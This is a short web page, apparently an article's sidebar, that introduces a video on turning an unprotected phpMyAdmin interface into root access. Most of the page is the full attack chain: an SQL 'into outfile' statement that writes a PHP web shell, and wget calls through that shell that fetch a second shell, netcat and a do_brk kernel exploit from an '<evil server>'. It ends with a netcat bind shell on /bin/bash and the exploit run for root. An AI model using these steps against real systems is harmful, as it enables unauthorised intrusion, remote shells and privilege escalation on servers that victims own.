Like this article? We recommend
The Visuals
The Visuals
The following video details the steps taken to turn an unprotected phpMyAdmin interface into root access. Also included are the various URLs and commands in line for your review.
You need to upgrade your Flash Player. You need version 9 or above to view this video. You may download it here. You may also see this message if you have JavaScript turned off. If this is the case, please enable JavaScript and reload the page.
Download this .mpg file (49.6 MB)
- http://<target>
- http:// <target>/phpmyadmin
- select "<? system($_REQUEST['cmd']); ?>" into outfile "/opt/lampp/htdocs/cmd.php";
- http:// <target>/cmd.php?cmd=wget http:// <evil server>/madshell.txt –O madshell.php
- http:// <target>/madshell.php
- http:// <target>/cmd.php?cmd=wget http:// <evil server>/netcat.txt –O netcat
- http:// <target>/cmd.php?cmd=chmod 777 netcat
- execute ./nc -l -vvv -p 12345 -e /bin/bash
- Windows cmdline nc <target>12345
- http:// <target>/cmd.php?cmd=wget http://<evil server>/do_brk-exploit.txt –O do_brk
- http:// <target>/cmd.php?cmd=chmod 777 do_brk
- http:// <target>/cmd.php?cmd=ls –l
- Target cmdline whoami
- Target cmdline ./do_brk
- Target cmdline whoami